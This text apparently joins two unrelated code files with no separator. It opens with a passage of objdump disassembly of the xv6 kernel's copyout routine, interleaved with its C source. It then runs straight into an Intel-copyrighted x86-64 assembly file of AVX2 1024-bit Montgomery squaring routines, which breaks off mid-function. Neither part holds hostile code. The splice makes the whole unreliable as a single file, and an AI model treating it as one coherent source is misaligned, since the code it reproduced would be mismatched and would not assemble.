0xc(%ebp),%edx 80107763: 89 fb mov %edi,%ebx 80107765: 29 d3 sub %edx,%ebx 80107767: 81 c3 00 10 00 00 add $0x1000,%ebx if(n > len) 8010776d: 39 f3 cmp %esi,%ebx 8010776f: 0f 47 de cmova %esi,%ebx n = len; memmove(pa0 + (va - va0), buf, n); 80107772: 29 fa sub %edi,%edx 80107774: 83 ec 04 sub $0x4,%esp 80107777: 01 c2 add %eax,%edx 80107779: 53 push %ebx 8010777a: ff 75 10 pushl 0x10(%ebp) 8010777d: 52 push %edx 8010777e: e8 6d d5 ff ff call 80104cf0 <memmove> len -= n; buf += n; 80107783: 01 5d 10 add %ebx,0x10(%ebp) va = va0 + PGSIZE; 80107786: 8d 97 00 10 00 00 lea 0x1000(%edi),%edx while(len > 0){ 8010778c: 83 c4 10 add $0x10,%esp 8010778f: 29 de sub %ebx,%esi 80107791: 74 2d je 801077c0 <copyout+0x80> va0 = (uint)PGROUNDDOWN(va); 80107793: 89 d7 mov %edx,%edi pa0 = uva2ka(pgdir, (char*)va0); 80107795: 83 ec 08 sub $0x8,%esp va0 = (uint)PGROUNDDOWN(va); 80107798: 89 55 0c mov %edx,0xc(%ebp) 8010779b: 81 e7 00 f0 ff ff and $0xfffff000,%edi pa0 = uva2ka(pgdir, (char*)va0); 801077a1: 57 push %edi 801077a2: ff 75 08 pushl 0x8(%ebp) 801077a5: e8 56 ff ff ff call 80107700 <uva2ka> if(pa0 == 0) 801077aa: 83 c4 10 add $0x10,%esp 801077ad: 85 c0 test %eax,%eax 801077af: 75 af jne 80107760 <copyout+0x20> } return 0; } 801077b1: 8d 65 f4 lea -0xc(%ebp),%esp return -1; 801077b4: b8 ff ff ff ff mov $0xffffffff,%eax } 801077b9: 5b pop %ebx 801077ba: 5e pop %esi 801077bb: 5f pop %edi 801077bc: 5d pop %ebp 801077bd: c3 ret 801077be: 66 90 xchg %ax,%ax 801077c0: 8d 65 f4 lea -0xc(%ebp),%esp return 0; 801077c3: 31 c0 xor %eax,%eax } 801077c5: 5b pop %ebx 801077c6: 5e pop %esi 801077c7: 5f pop %edi 801077c8: 5d pop %ebp 801077c9: c3 ret
############################################################################### # Copyright 2019 Intel Corporation # All Rights Reserved. # # If this software was obtained under the Intel Simplified Software License, # the following terms apply: # # The source code, information and material ("Material") contained herein is # owned by Intel Corporation or its suppliers or licensors, and title to such # Material remains with Intel Corporation or its suppliers or licensors. The # Material contains proprietary information of Intel or its suppliers and # licensors. The Material is protected by worldwide copyright laws and treaty # provisions. No part of the Material may be used, copied, reproduced, # modified, published, uploaded, posted, transmitted, distributed or disclosed # in any way without Intel's prior express written permission. No license under # any patent, copyright or other intellectual property rights in the Material # is granted to or conferred upon you, either expressly, by implication, # inducement, estoppel or otherwise. Any license under such intellectual # property rights must be express and approved by Intel in writing. # # Unless otherwise agreed by Intel in writing, you may not remove or alter this # notice or any other notice embedded in Materials by Intel or Intel's # suppliers or licensors in any way. # # # If this software was obtained under the Apache License, Version 2.0 (the # "License"), the following terms apply: # # You may not use this file except in compliance with the License. You may # obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 # # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # # See the License for the specific language governing permissions and # limitations under the License. ############################################################################### .section .note.GNU-stack,"",%progbits .text .p2align 5, 0x90 .globl cpMontSqr1024_avx2 .type cpMontSqr1024_avx2, @function cpMontSqr1024_avx2: push %rbx push %rbp push %r12 push %r13 push %r14 sub $(64), %rsp movslq %ecx, %rcx vpxor %ymm11, %ymm11, %ymm11 vmovdqu %ymm11, (%rsi,%rcx,8) vmovdqu %ymm11, (%rdx,%rcx,8) movq %rdi, (%rsp) movq %rsi, (8)(%rsp) movq %rdx, (16)(%rsp) movq %rcx, (24)(%rsp) movq %r8, (32)(%rsp) mov $(40), %rcx mov %r9, %rdi movq %rdi, (48)(%rsp) lea (%rdi,%rcx,8), %rbx lea (%rbx,%rcx,8), %r9 movq %r9, (40)(%rsp) mov %rsi, %rax mov $(4), %rcx vmovdqu (%rsi), %ymm0 vmovdqu (32)(%rsi), %ymm1 vmovdqu (64)(%rsi), %ymm2 vmovdqu (96)(%rsi), %ymm3 vmovdqu (128)(%rsi), %ymm4 vmovdqu (160)(%rsi), %ymm5 vmovdqu (192)(%rsi), %ymm6 vmovdqu (224)(%rsi), %ymm7 vmovdqu (256)(%rsi), %ymm8 vmovdqu (288)(%rsi), %ymm9 vmovdqu %ymm0, (%r9) vpbroadcastq (%rax), %ymm10 vpaddq %ymm1, %ymm1, %ymm1 vmovdqu %ymm1, (32)(%r9) vpaddq %ymm2, %ymm2, %ymm2 vmovdqu %ymm2, (64)(%r9) vpaddq %ymm3, %ymm3, %ymm3 vmovdqu %ymm3, (96)(%r9) vpaddq %ymm4, %ymm4, %ymm4 vmovdqu %ymm4, (128)(%r9) vpaddq %ymm5, %ymm5, %ymm5 vmovdqu %ymm5, (160)(%r9) vpaddq %ymm6, %ymm6, %ymm6 vmovdqu %ymm6, (192)(%r9) vpaddq %ymm7, %ymm7, %ymm7 vmovdqu %ymm7, (224)(%r9) vpaddq %ymm8, %ymm8, %ymm8 vmovdqu %ymm8, (256)(%r9) vpaddq %ymm9, %ymm9, %ymm9 vmovdqu %ymm9, (288)(%r9) vpmuludq (%rsi), %ymm10, %ymm0 vpbroadcastq (32)(%rax), %ymm14 vmovdqu %ymm11, (%rbx) vpmuludq (32)(%r9), %ymm10, %ymm1 vmovdqu %ymm11, (32)(%rbx) vpmuludq (64)(%r9), %ymm10, %ymm2 vmovdqu %ymm11, (64)(%rbx) vpmuludq (96)(%r9), %ymm10, %ymm3 vmovdqu %ymm11, (96)(%rbx) vpmuludq (128)(%r9), %ymm10, %ymm4 vmovdqu %ymm11, (128)(%rbx) vpmuludq (160)(%r9), %ymm10, %ymm5 vmovdqu %ymm11, (160)(%rbx) vpmuludq (192)(%r9), %ymm10, %ymm6 vmovdqu %ymm11, (192)(%rbx) vpmuludq (224)(%r9), %ymm10, %ymm7 vmovdqu %ymm11, (224)(%rbx) vpmuludq (256)(%r9), %ymm10, %ymm8 vmovdqu %ymm11, (256)(%rbx) vpmuludq (288)(%r9), %ymm10, %ymm9 vmovdqu %ymm11, (288)(%rbx) jmp .Lsqr1024_epgas_1 .p2align 5, 0x90 .Lsqr1024_loop4gas_1: vpmuludq (%rsi), %ymm10, %ymm0 vpbroadcastq (32)(%rax), %ymm14 vpaddq (%rdi), %ymm0, %ymm0 vpmuludq (32)(%r9), %ymm10, %ymm1 vpaddq (32)(%rdi), %ymm1, %ymm1 vpmuludq (64)(%r9), %ymm10, %ymm2 vpaddq (64)(%rdi), %ymm2, %ymm2 vpmuludq (96)(%r9), %ymm10, %ymm3 vpaddq (96)(%rdi), %ymm3, %ymm3 vpmuludq (128)(%r9), %ymm10, %ymm4 vpaddq (128)(%rdi), %ymm4, %ymm4 vpmuludq (160)(%r9), %ymm10, %ymm5 vpaddq (160)(%rdi), %ymm5, %ymm5 vpmuludq (192)(%r9), %ymm10, %ymm6 vpaddq (192)(%rdi), %ymm6, %ymm6 vpmuludq (224)(%r9), %ymm10, %ymm7 vpaddq (224)(%rdi), %ymm7, %ymm7 vpmuludq (256)(%r9), %ymm10, %ymm8 vpaddq (256)(%rdi), %ymm8, %ymm8 vpmuludq (288)(%r9), %ymm10, %ymm9 vpaddq (288)(%rdi), %ymm9, %ymm9 .Lsqr1024_epgas_1: vmovdqu %ymm0, (%rdi) vmovdqu %ymm1, (32)(%rdi) vpmuludq (32)(%rsi), %ymm14, %ymm11 vpbroadcastq (64)(%rax), %ymm10 vpaddq %ymm11, %ymm2, %ymm2 vpmuludq (64)(%r9), %ymm14, %ymm12 vpaddq %ymm12, %ymm3, %ymm3 vpmuludq (96)(%r9), %ymm14, %ymm13 vpaddq %ymm13, %ymm4, %ymm4 vpmuludq (128)(%r9), %ymm14, %ymm11 vpaddq %ymm11, %ymm5, %ymm5 vpmuludq (160)(%r9), %ymm14, %ymm12 vpaddq %ymm12, %ymm6, %ymm6 vpmuludq (192)(%r9), %ymm14, %ymm13 vpaddq %ymm13, %ymm7, %ymm7 vpmuludq (224)(%r9), %ymm14, %ymm11 vpaddq %ymm11, %ymm8, %ymm8 vpmuludq (256)(%r9), %ymm14, %ymm12 vpaddq %ymm12, %ymm9, %ymm9 vpmuludq (288)(%r9), %ymm14, %ymm0 vpaddq (%rbx), %ymm0, %ymm0 vmovdqu %ymm2, (64)(%rdi) vmovdqu %ymm3, (96)(%rdi) vpmuludq (64)(%rsi), %ymm10, %ymm11 vpbroadcastq (96)(%rax), %ymm14 vpaddq %ymm11, %ymm4, %ymm4 vpmuludq (96)(%r9), %ymm10, %ymm12 vpaddq %ymm12, %ymm5, %ymm5 vpmuludq (128)(%r9), %ymm10, %ymm13 vpaddq %ymm13, %ymm6, %ymm6 vpmuludq (160)(%r9), %ymm10, %ymm11 vpaddq %ymm11, %ymm7, %ymm7 vpmuludq (192)(%r9), %ymm10, %ymm12 vpaddq %ymm12, %ymm8, %ymm8 vpmuludq (224)(%r9), %ymm10, %ymm13 vpaddq %ymm13, %ymm9, %ymm9 vpmuludq (256)(%r9), %ymm10, %ymm11 vpaddq %ymm11, %ymm0, %ymm0 vpmuludq (288)(%r9), %ymm10, %ymm1 vpaddq (32)(%rbx), %ymm1, %ymm1 vmovdqu %ymm4, (128)(%rdi) vmovdqu %ymm5, (160)(%rdi) vpmuludq (96)(%rsi), %ymm14, %ymm11 vpbroadcastq (128)(%rax), %ymm10 vpaddq %ymm11, %ymm6, %ymm6 vpmuludq (128)(%r9), %ymm14, %ymm12 vpaddq %ymm12, %ymm7, %ymm7 vpmuludq (160)(%r9), %ymm14, %ymm13 vpaddq %ymm13, %ymm8, %ymm8 vpmuludq (192)(%r9), %ymm14, %ymm11 vpaddq %ymm11, %ymm9, %ymm9 vpmuludq (224)(%r9), %ymm14, %ymm12 vpaddq %ymm12, %ymm0, %ymm0 vpmuludq (256)(%r9), %ymm14, %ymm13 vpaddq %ymm13, %ymm1, %ymm1 vpmuludq (288)(%r9), %ymm14, %ymm2 vpaddq (64)(%rbx), %ymm2, %ymm2 vmovdqu %ymm6, (192)(%rdi) vmovdqu %ymm7, (224)(%rdi) vpmuludq (128)(%rsi), %ymm10, %ymm11 vpbroadcastq (160)(%rax), %ymm14 vpaddq %ymm11, %ymm8, %ymm8 vpmuludq (160)(%r9), %ymm10, %ymm12 vpaddq %ymm12, %ymm9, %ymm9 vpmuludq (192)(%r9), %ymm10, %ymm13 vpaddq %ymm13, %ymm0, %ymm0 vpmuludq (224)(%r9), %ymm10, %ymm11 vpaddq %ymm11, %ymm1, %ymm1 vpmuludq (256)(%r9), %ymm10, %ymm12 vpaddq %ymm12, %ymm2, %ymm2 vpmuludq (288)(%r9), %ymm10, %ymm3 vpaddq (96)(%rbx), %ymm3, %ymm3 vmovdqu %ymm8, (256)(%rdi) vmovdqu %ymm9, (288)(%rdi) vpmuludq (160)(%rsi), %ymm14, %ymm11 vpbroadcastq (192)(%rax), %ymm10 vpaddq %ymm11, %ymm0, %ymm0 vpmuludq (192)(%r9), %ymm14, %ymm12 vpaddq %ymm12, %ymm1, %ymm1 vpmuludq (224)(%r9), %ymm14, %ymm13 vpaddq %ymm13, %ymm2, %ymm2 vpmuludq (256)(%r9), %ymm14, %ymm11 vpaddq %ymm11, %ymm3, %ymm3 vpmuludq (288)(%r9), %ymm14, %ymm4 vpaddq (128)(%rbx), %ymm4, %ymm4 vmovdqu %ymm0, (320)(%rdi) vmovdqu %ymm1, (352)(%rdi) vpmuludq (192)(%rsi), %ymm10, %ymm11 vpbroadcastq (224)(%rax), %ymm14 vpaddq %ymm11, %ymm2, %ymm2 vpmuludq (224)(%r9), %ymm10, %ymm12 vpaddq %ymm12, %ymm3, %ymm3 vpmuludq (256)(%r9), %ymm10, %ymm13 vpaddq %ymm13, %ymm4, %ymm4 vpmuludq (288)(%r9), %ymm10, %ymm5 vpaddq (160)(%rbx), %ymm5, %ymm5 vmovdqu %ymm2, (384)(%rdi) vmovdqu %ymm3, (416)(%rdi) vpmuludq (224)(%rsi), %ymm14, %ymm11 vpbroadcastq (256)(%rax), %ymm10 vpaddq %ymm11, %ymm4, %ymm4 vpmuludq (256)(%r9), %ymm14, %ymm12 vpaddq %ymm12, %ymm5, %ymm5 vpmuludq (288)(%r9), %ymm14, %ymm6 vpaddq (192)(%rbx), %ymm6, %ymm6 vmovdqu %ymm4, (448)(%rdi) vmovdqu %ymm5, (480)(%rdi) vpmuludq (256)(%rsi), %ymm10, %ymm11 vpbroadcastq (288)(%rax), %ymm14 vpaddq %ymm11, %ymm6, %ymm6 vpmuludq (288)(%r9), %ymm10, %ymm7 vpaddq (224)(%rbx), %ymm7, %ymm7 vpmuludq (288)(%rsi), %ymm14, %ymm8 vpbroadcastq (8)(%rax), %ymm10 vpaddq (256)(%rbx), %ymm8, %ymm8 vmovdqu %ymm6, (512)(%rdi) vmovdqu %ymm7, (544)(%rdi) vmovdqu %ymm8, (576)(%rdi) add $(8), %rdi add $(8), %rbx add $(8), %rax sub $(1), %rcx jnz .Lsqr1024_loop4gas_1 movq (48)(%rsp), %rdi movq (16)(%rsp), %rcx movq (32)(%rsp), %r8 mov $(38), %r9 movq (%rdi), %r10 movq (8)(%rdi), %r11 movq (16)(%rdi), %r12 movq (24)(%rdi), %r13 mov %r10, %rdx imul %r8d, %edx and $(134217727), %edx vmovd %edx, %xmm10 vmovdqu (32)(%rdi), %ymm1 vmovdqu (64)(%rdi), %ymm2 vmovdqu (96)(%rdi), %ymm3 vmovdqu (128)(%rdi), %ymm4 vmovdqu (160)(%rdi), %ymm5 vmovdqu (192)(%rdi), %ymm6 mov %rdx, %rax imulq (%rcx), %rax add %rax, %r10 vpbroadcastq %xmm10, %ymm10 vmovdqu (224)(%rdi), %ymm7 vmovdqu (256)(%rdi), %ymm8 vmovdqu (288)(%rdi), %ymm9 mov %rdx, %rax imulq (8)(%rcx), %rax add %rax, %r11 mov %rdx, %rax imulq (16)(%rcx), %rax add %rax, %r12 shr $(27), %r10 imulq (24)(%rcx), %rdx add %rdx, %r13 add %r10, %r11 mov %r11, %rdx imul %r8d, %edx and $(134217727), %rdx .p2align 5, 0x90 .Lreduction_loopgas_1: vmovd %edx, %xmm11 vpbroadcastq %xmm11, %ymm11 vpmuludq (32)(%rcx), %ymm10, %ymm14 mov %rdx, %rax imulq (%rcx), %rax vpaddq %ymm14, %ymm1, %ymm1 vpmuludq (64)(%rcx), %ymm10, %ymm14 vpaddq %ymm14, %ymm2, %ymm2 vpmuludq (96)(%rcx), %ymm10, %ymm14 vpaddq %ymm14, %ymm3, %ymm3 vpmuludq (128)(%rcx), %ymm10, %ymm14 add %rax, %r11 shr $(27), %r11 vpaddq %ymm14, %ymm4, %ymm4 vpmuludq (160)(%rcx), %ymm10, %ymm14 mov %rdx, %rax imulq (8)(%rcx), %rax vpaddq %ymm14, %ymm5, %ymm5 add %rax, %r12 vpmuludq (192)(%rcx), %ymm10, %ymm14 imulq (16)(%rcx), %rdx add %r11, %r12 vpaddq %ymm14, %ymm6, %ymm6 add %rdx, %r13 vpmuludq (224)(%rcx), %ymm10, %ymm14 mov %r12, %rdx imul %r8d, %edx vpaddq %ymm14, %ymm7, %ymm7 vpmuludq (256)(%rcx), %ymm10, %ymm14 vpaddq %ymm14, %ymm8, %ymm8 and $(134217727), %rdx vpmuludq (288)(%rcx), %ymm10, %ymm14 vpaddq %ymm14, %ymm9, %ymm9 vmovd %edx, %xmm12 vpbroadcastq %xmm12, %ymm12 vpmuludq (24)(%rcx), %ymm11, %ymm14 mov %rdx, %rax imulq (%rcx), %rax vpaddq %ymm14, %ymm1, %ymm1 vpmuludq (56)(%rcx), %ymm11, %ymm14 vpaddq %ymm14, %ymm2, %ymm2 vpmuludq (88)(%rcx), %ymm11, %ymm14 vpaddq %ymm14, %ymm3, %ymm3 vpmuludq (120)(%rcx), %ymm11, %ymm14 vpaddq %ymm14, %ymm4, %ymm4 add %r12, %rax shr $(27), %rax vpmuludq (152)(%rcx), %ymm11, %ymm14 imulq (8)(%rcx), %rdx vpaddq %ymm14, %ymm5, %ymm5 vpmuludq (184)(%rcx), %ymm11, %ymm14 vpaddq %ymm14, %ymm6, %ymm6 vpmuludq (216)(%rcx), %ymm11, %ymm14 vpaddq %ymm14, %ymm7, %ymm7 add %r13, %rdx add %rax, %rdx vpmuludq (248)(%rcx), %ymm11, %ymm14 vpaddq %ymm14, %ymm8, %ymm8 vpmuludq (280)(%rcx), %ymm11, %ymm14 vpaddq %ymm14, %ymm9, %ymm9 sub $(2), %r9 jz .Lexit_reduction_loopgas_1 vpmuludq (16)(%rcx), %ymm12, %ymm14 mov %rdx, %r13 imul %r8d, %edx vpaddq %ymm14, %ymm1, %ymm1 vpmuludq (48)(%rcx), %ymm12, %ymm14 vpaddq %ymm14, %ymm2, %ymm2 and $(134217727), %rdx vpmuludq (80)(%rcx), %ymm12, %ymm14 vmovd %edx, %xmm13 vpaddq %ymm14, %ymm3, %ymm3 vpmuludq (112)(%rcx), %ymm12, %ymm14 vpbroadcastq %xmm13, %ymm13 vpaddq %ymm14, %ymm4, %ymm4 vpmuludq (144)(%rcx), %ymm12, %ymm14 imulq (%rcx), %rdx vpaddq %ymm14, %ymm5, %ymm5 vpmuludq (176)(%rcx), %ymm12, %ymm14 vpaddq %ymm14, %ymm6, %ymm6 add %rdx, %r13 vpmuludq (208)(%rcx), %ymm12, %ymm14 vpaddq %ymm14, %ymm7, %ymm7 shr $(27), %r13 vmovq %r13, %xmm0 vpmuludq (8)(%rcx), %ymm13, %ymm14 vpaddq %ymm0, %ymm1, %ymm1 vpaddq %ymm14, %ymm1, %ymm1 vmovdqu %ymm1, (%rdi) vpmuludq (240)(%rcx), %ymm12, %ymm14 vpaddq %ymm14, %ymm8, %ymm8 vpmuludq (272)(%rcx), %ymm12, %ymm14 vpaddq %ymm14, %ymm9, %ymm9 vmovq %xmm1, %rdx imul %r8d, %edx and $(134217727), %edx vmovq %xmm1, %r10 movq (8)(%rdi), %r11 movq (16)(%rdi), %r12 movq (24)(%rdi), %r13 vmovd %edx, %xmm10 vpbroadcastq %xmm10, %ymm10 vpmuludq (40)(%rcx), %ymm13, %ymm14 mov %rdx, %rax imulq (%rcx), %rax vpaddq %ymm14, %ymm2, %ymm1 vpmuludq (72)(%rcx), %ymm13, %ymm14 add %rax, %r10 vpaddq %ymm14, %ymm3, %ymm2 shr $(27), %r10 vpmuludq (104)(%rcx), %ymm13, %ymm14 mov %rdx, %rax imulq (8)(%rcx), %rax vpaddq %ymm14, %ymm4, %ymm3 add %rax, %r11 vpmuludq (136)(%rcx), %ymm13, %ymm14 mov %rdx, %rax imulq (16)(%rcx), %rax vpaddq %ymm14, %ymm5, %ymm4 add %rax, %r12 vpmuludq (168)(%rcx), %ymm13, %ymm14 imulq (24)(%rcx), %rdx vpaddq %ymm14, %ymm6, %ymm5 add %rdx, %r13 add %r10, %r11 vpmuludq (200)(%rcx), %ymm13, %ymm14 mov %r11, %rdx imul %r8d, %edx vpaddq %ymm14, %ymm7, %ymm6 and $(134217727), %rdx vpmuludq (232)(%rcx), %ymm13, %ymm14 vpaddq %ymm14, %ymm8, %ymm7 vpmuludq (264)(%rcx), %ymm13, %ymm14 vpaddq %ymm14, %ymm9, %ymm8 vpmuludq (296)(%rcx), %ymm13, %ymm14 vpaddq (320)(%rdi), %ymm14, %ymm9 add $(32), %rdi sub $(2), %r9 jnz .Lreduction_loopgas_1 .Lexit_reduction_loopgas_1: movq (%rsp), %rdi movq %r12, (%rdi) movq %r13, (8)(%rdi) vmovdqu %ymm1, (16)(%rdi) vmovdqu %ymm2, (48)(%rdi) vmovdqu %ymm3, (80)(%rdi) vmovdqu %ymm4, (112)(%rdi) vmovdqu %ymm5, (144)(%rdi) vmovdqu %ymm6, (176)(%rdi) vmovdqu %ymm7, (208)(%rdi) vmovdqu %ymm8, (240)(%rdi) vmovdqu %ymm9, (272)(%rdi) mov $(38), %r9 xor %rax, %rax .Lnorm_loopgas_1: addq (%rdi), %rax add $(8), %rdi mov $(134217727), %rdx and %rax, %rdx shr $(27), %rax movq %rdx, (-8)(%rdi) sub $(1), %r9 jg .Lnorm_loopgas_1 movq %rax, (%rdi) add $(64), %rsp vzeroupper pop %r14 pop %r13 pop %r12 pop %rbp pop %rbx ret .Lfe1: .size cpMontSqr1024_avx2, .Lfe1-(cpMontSqr1024_avx2) .p2align 5, 0x90 .globl cpSqr1024_avx2 .type cpSqr1024_avx2, @function cpSqr1024_avx2: push %rbx sub $(48), %rsp movslq %edx, %rdx vpxor %ymm11, %ymm11, %ymm11 vmovdqu %ymm11, (%rsi,%rdx,8) movq %rdi, (%rsp) movq %rsi, (8)(%rsp) movq %rdx, (16)(%rsp) mov $(40), %rdx mov %rcx, %rdi movq %rdi, (32)(%rsp) lea (%rdi,%rdx,8), %rbx lea (%rbx,%rdx,8), %r9 movq %r9, (24)(%rsp) mov %rsi, %rax mov $(4), %rcx vmovdqu (%rsi), %ymm0 vmovdqu (32)(%rsi), %ymm1 vmovdqu (64)(%rsi), %ymm2 vmovdqu (96)(%rsi), %ymm3 vmovdqu (128)(%rsi), %ymm4 vmovdqu (160)(%rsi), %ymm5 vmovdqu (192)(%rsi), %ymm6 vmovdqu (224)(%rsi), %ymm7 vmovdqu (256)(%rsi), %ymm8 vmovdqu (288)(%rsi), %ymm9 vmovdqu %ymm0, (%r9) vpbroadcastq (%rax), %ymm10 vpaddq %ymm1, %ymm1, %ymm1 vmovdqu %ymm1, (32)(%r9) vpaddq %ymm2, %ymm2, %ymm2 vmovdqu %ymm2, (64)(%r9) vpaddq %ymm3, %ymm3, %ymm3 vmovdqu %ymm3, (96)(%r9) vpaddq %ymm4, %ymm4, %ymm4 vmovdqu %ymm4, (128)(%r9) vpaddq %ymm5, %ymm5, %ymm5 vmovdqu %ymm5, (160)(%r9) vpaddq %ymm6, %ymm6, %ymm6 vmovdqu %ymm6, (192)(%r9) vpaddq %ymm7, %ymm7, %ymm7 vmovdqu %ymm7, (224)(%r9) vpaddq %ymm8, %ymm8, %ymm8 vmovdqu %ymm8, (256)(%r9) vpaddq %ymm9, %ymm9, %ymm9 vmovdqu %ymm9, (288)(%r9) vpmuludq (%rsi), %ymm10, %ymm0 vpbroadcastq (32)(%rax), %ymm14 vmovdqu %ymm11, (%rbx) vpmuludq (32)(%r9), %ymm10, %ymm1 vmovdqu %ymm11, (32)(%rbx) vpmuludq (64)(%r9), %ymm10, %ymm2 vmovdqu %ymm11, (64)(%rbx) vpmuludq (96)(%r9), %ymm10, %ymm3 vmovdqu %ymm11, (96)(%rbx) vpmuludq (128)(%r9), %ymm10, %ymm4 vmovdqu %ymm11, (128)(%rbx) vpmuludq (160)(%r9), %ymm10, %ymm5 vmovdqu %ymm11, (160)(%rbx) vpmuludq (192)(%r9), %ymm10, %ymm6 vmovdqu %ymm11, (192)(%rbx) vpmuludq (224)(%r9), %ymm10, %ymm7 vmovdqu %ymm11, (224)(%rbx) vpmuludq (256)(%r9), %ymm10, %ymm8 vmovdqu %ymm11, (256)(%rbx) vpmuludq (288)(%r9), %ymm10, %ymm9 vmovdqu %ymm11, (288)(%rbx) jmp .Lsqr1024_epgas_2 .p2align 5, 0x90 .Lsqr1024_loop4gas_2: vpmuludq (%rsi), %ymm10, %ymm0 vpbroadcastq (32)(%rax), %ymm14 vpaddq (%rdi), %ymm0, %ymm0 vpmuludq (32)(%r9), %ymm10, %ymm1 vpaddq (32)(%rdi), %ymm1, %ymm1 vpmuludq (64)(%r9), %ymm10, %ymm2 vpaddq (64)(%rdi), %ymm2, %ymm2 vpmuludq (96)(%r9), %ymm10, %ymm3 vpaddq (96)(%rdi), %ymm3, %ymm3 vpmuludq (128)(%r9), %ymm10, %ymm4 vpaddq (128)(%rdi), %ymm4, %ymm4 vpmuludq (160)(%r9), %ymm10, %ymm5 vpaddq (160)(%rdi), %ymm5, %ymm5 vpmuludq (192)(%r9), %ymm10, %ymm6 vpaddq (192)(%rdi), %ymm6, %ymm6 vpmuludq (224)(%r9), %ymm10, %ymm7 vpaddq (224)(%rdi), %ymm7, %ymm7 vpmuludq (256)(%r9), %ymm10, %ymm8 vpaddq (256)(%rdi), %ymm8, %ymm8 vpmuludq (288)(%r9), %ymm10, %ymm9 vpaddq (288)(%rdi), %ymm9, %ymm9 .Lsqr1024_epgas_2: vmovdqu %ymm0, (%rdi) vmovdqu %ymm1, (32)(%rdi) vpmuludq (32)(%rsi), %ymm14, %ymm11 vpbroadcastq (64)(%rax), %ymm10 vpaddq %ymm11, %ymm2, %ymm2 vpmuludq (64)(%r9), %ymm14, %ymm12 vpaddq %ymm12, %ymm3, %ymm3 vpmuludq (96)(%r9), %ymm14, %ymm13 vpaddq %ymm13, %ymm4, %ymm4 vpmuludq (128)(%r9), %ymm14, %ymm11 vpaddq %ymm11, %ymm5, %ymm5 vpmuludq (160)(%r9), %ymm14, %ymm12 vpaddq %ymm12, %ymm6, %ymm6 vpmuludq (192)(%r9), %ymm14, %ymm13 vpaddq %ymm13, %ymm7, %ymm7 vpmuludq (224)(%r9), %ymm14, %ymm11 vpaddq %ymm11, %ymm8, %ymm8 vpmuludq (256)(%r9), %ymm14, %ymm12 vpaddq %ymm12, %ymm9, %ymm9 vpmuludq (288)(%r9), %ymm14, %ymm0 vpaddq (%rbx), %ymm0, %ymm0 vmovdqu %ymm2, (64)(%rdi) vmovdqu %ymm3, (96)(%rdi) vpmuludq (64)(%rsi), %ymm10, %ymm11 vpbroadcastq (96)(%rax), %ymm14 vpaddq %ymm11, %ymm4, %ymm4 vpmuludq (96)(%r9), %ymm10, %ymm12 vpaddq %ymm12, %ymm5, %ymm5 vpmuludq (128)(%r9), %ymm10, %ymm13 vpaddq %ymm13, %ymm6, %ymm6 vpmuludq (160)(%r9), %ymm10, %ymm11 vpaddq %ymm11, %ymm7, %ymm7 vpmuludq (192)(%r9), %ymm10, %ymm12 vpaddq %ymm12, %ymm8, %ymm8 vpmuludq (224)(%r9), %ymm10, %ymm13 vpaddq %ymm13, %ymm9, %ymm9 vpmuludq (256)(%r9), %ymm10, %ymm11 vpaddq %ymm11, %ymm0, %ymm0 vpmuludq (288)(%r9), %ymm10, %ymm1 vpaddq (32)(%rbx), %ymm1, %ymm1 vmovdqu %ymm4, (128)(%rdi) vmovdqu %ymm5, (160)(%rdi) vpmuludq (96)(%rsi), %ymm14, %ymm11 vpbroadcastq (128)(%rax), %ymm10 vpaddq %ymm11, %ymm6, %ymm6 vpmuludq (128)(%r9), %ymm14, %ymm12 vpaddq %ymm12, %ymm7, %ymm7 vpmuludq (160)(%r9), %ymm14, %ymm13 vpaddq %ymm13, %ymm8, %ymm8 vpmuludq (192)(%r9), %ymm14, %ymm11 vpaddq %ymm11, %ymm9, %ymm9 vpmuludq (224)(%r9), %ymm14, %ymm12 vpaddq %ymm12, %ymm0, %ymm0 vpmuludq (256)(%r9), %ymm14, %ymm13 vpaddq %ymm13, %ymm1, %ymm1 vpmuludq (288)(%r9), %ymm14, %ymm2 vpaddq (64)(%rbx), %ymm2, %ymm2 vmovdqu %ymm6, (192)(%rdi) vmovdqu %ymm7, (224)(%rdi) vpmuludq (128)(%rsi), %ymm10, %ymm11 vpbroadcastq (160)(%rax), %ymm14 vpaddq %ymm11, %ymm8, %ymm8 vpmuludq (160)(%r9), %ymm10, %ymm12 vpaddq %ymm12, %ymm9, %ymm9 vpmuludq (192)(%r9), %ymm10, %ymm13 vpaddq %ymm13, %ymm0, %ymm0 vpmuludq (224)(%r9), %ymm10, %ymm11 vpaddq %ymm11, %ymm1, %ymm1 vpmuludq (256)(%r9), %ymm10, %ymm12 vpaddq %ymm12, %ymm2, %ymm2 vpmuludq (288)(%r9), %ymm10, %ymm3 vpaddq (96)(%rbx), %ymm3, %ymm3 vmovdqu %ymm8, (256)(%rdi) vmovdqu %ymm9, (288)(%rdi) vpmuludq (160)(%rsi), %ymm14, %ymm11 vpbroadcastq (192)(%rax), %ymm10 vpaddq %ymm11, %ymm0, %ymm0 vpmuludq (192)(%r9), %ymm14, %ymm12 vpaddq %ymm12, %ymm1, %ymm1 vpmuludq (224)(%r9), %ymm14, %ymm13 vpaddq %ymm13, %ymm2, %ymm2 vpmuludq (256)(%r9), %ymm14, %ymm11 vpaddq %ymm11, %ymm3, %ymm3 vpmuludq (288)(%r9), %ymm14, %ymm4 vpaddq (128)(%rbx), %ymm4, %ymm4 vmovdqu %ymm0, (320)(%rdi) vmovdqu %ymm1, (352)(%rdi) vpmuludq (192)(%rsi), %ymm10, %ymm11 vpbroadcastq (224)(%rax), %ymm14 vpaddq %ymm11, %ymm2, %ymm2 vpmuludq (224)(%r9), %ymm10, %ymm12 vpaddq %ymm12, %ymm3, %ymm3 vpmuludq (256)(%r9), %ymm10, %ymm13 vpaddq %ymm13, %ymm4, %ymm4 vpmuludq (288)(%r9), %ymm10, %ymm5 vpaddq (160)(%rbx), %ymm5, %ymm5 vmovdqu %ymm2, (384)(%rdi) vmovdqu %ymm3, (416)(%rdi) vpmuludq (224)(%rsi), %ymm14, %ymm11 vpbroadcastq (256)(%rax), %ymm10 vpaddq %ymm11, %ymm4, %ymm4 vpmuludq (256)(%r9), %ymm14, %ymm12 vpaddq %ymm12, %ymm5, %ymm5 vpmuludq (288)(%r9), %ymm14, %ymm6 vpaddq (192)(%rbx), %ymm6, %ymm6 vmovdqu %ymm4, (448)(%rdi) vmovdqu %ymm5, (480)(%rdi) vpmuludq (256)(%rsi), %ymm10, %ymm11 vpbroadcastq (288)(%rax), %ymm14 